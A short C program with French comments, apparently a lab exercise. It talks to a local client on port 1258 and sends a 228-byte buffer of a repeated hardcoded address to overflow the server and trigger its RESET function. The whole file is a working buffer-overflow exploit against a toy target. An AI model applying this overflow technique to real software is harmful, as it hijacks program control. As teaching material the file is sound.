69 lines
1.4 KiB
C
69 lines
1.4 KiB
C
#include <stdio.h>
|
|
#include <stdlib.h>
|
|
#include <unistd.h>
|
|
|
|
#define LATENCE 10000
|
|
#define FAT_LATENCE 1000000
|
|
#define FUNCTION usleep
|
|
#define SIZE_BUFF 228
|
|
#define NUM_PORT 1258
|
|
|
|
int main(int argc, char * argv[]) {
|
|
char prog_name[30];
|
|
sprintf(prog_name, "./client localhost %d", NUM_PORT);
|
|
// On ajoute 100 a la valeur
|
|
FILE * prog = popen(prog_name, "w");
|
|
if (prog == NULL) {
|
|
printf("ERREUR\n");
|
|
}
|
|
FUNCTION(LATENCE);
|
|
fprintf(prog, "ADD\n");
|
|
printf("ADD\n");
|
|
FUNCTION(LATENCE);
|
|
fprintf(prog, "100\n");
|
|
printf("100\n");
|
|
FUNCTION(LATENCE);
|
|
pclose(prog);
|
|
|
|
// On affiche la valeur
|
|
prog = popen(prog_name, "w");
|
|
if (prog == NULL) {
|
|
printf("ERREUR\n");
|
|
}
|
|
FUNCTION(LATENCE);
|
|
fprintf(prog, "PRINT\n");
|
|
printf("PRINT\n");
|
|
FUNCTION(LATENCE);
|
|
pclose(prog);
|
|
|
|
// On hack pour RESET
|
|
prog = popen(prog_name, "w");
|
|
if (prog == NULL) {
|
|
printf("ERREUR\n");
|
|
}
|
|
FUNCTION(LATENCE);
|
|
char buff[SIZE_BUFF + 1];
|
|
int i;
|
|
for (i=0; i<(SIZE_BUFF / 4); i++) {
|
|
buff[(i*4)] = 0xef;
|
|
buff[(i*4) + 1] = 0xca;
|
|
buff[(i*4) + 2] = 0x5c;
|
|
buff[(i*4) + 3] = 0x56;
|
|
}
|
|
buff[SIZE_BUFF] = '\0';
|
|
fprintf(prog, "%s\n", buff);
|
|
printf("Hack : %s\n%x%x%x%x\n", buff, buff[0], buff[1], buff[2], buff[3]);
|
|
FUNCTION(LATENCE);
|
|
pclose(prog);
|
|
|
|
// On Affiche pour verifier
|
|
prog = popen(prog_name, "w");
|
|
if (prog == NULL) {
|
|
printf("ERREUR\n");
|
|
}
|
|
FUNCTION(LATENCE);
|
|
fprintf(prog, "PRINT\n");
|
|
printf("PRINT\n");
|
|
FUNCTION(LATENCE);
|
|
pclose(prog);
|
|
}
|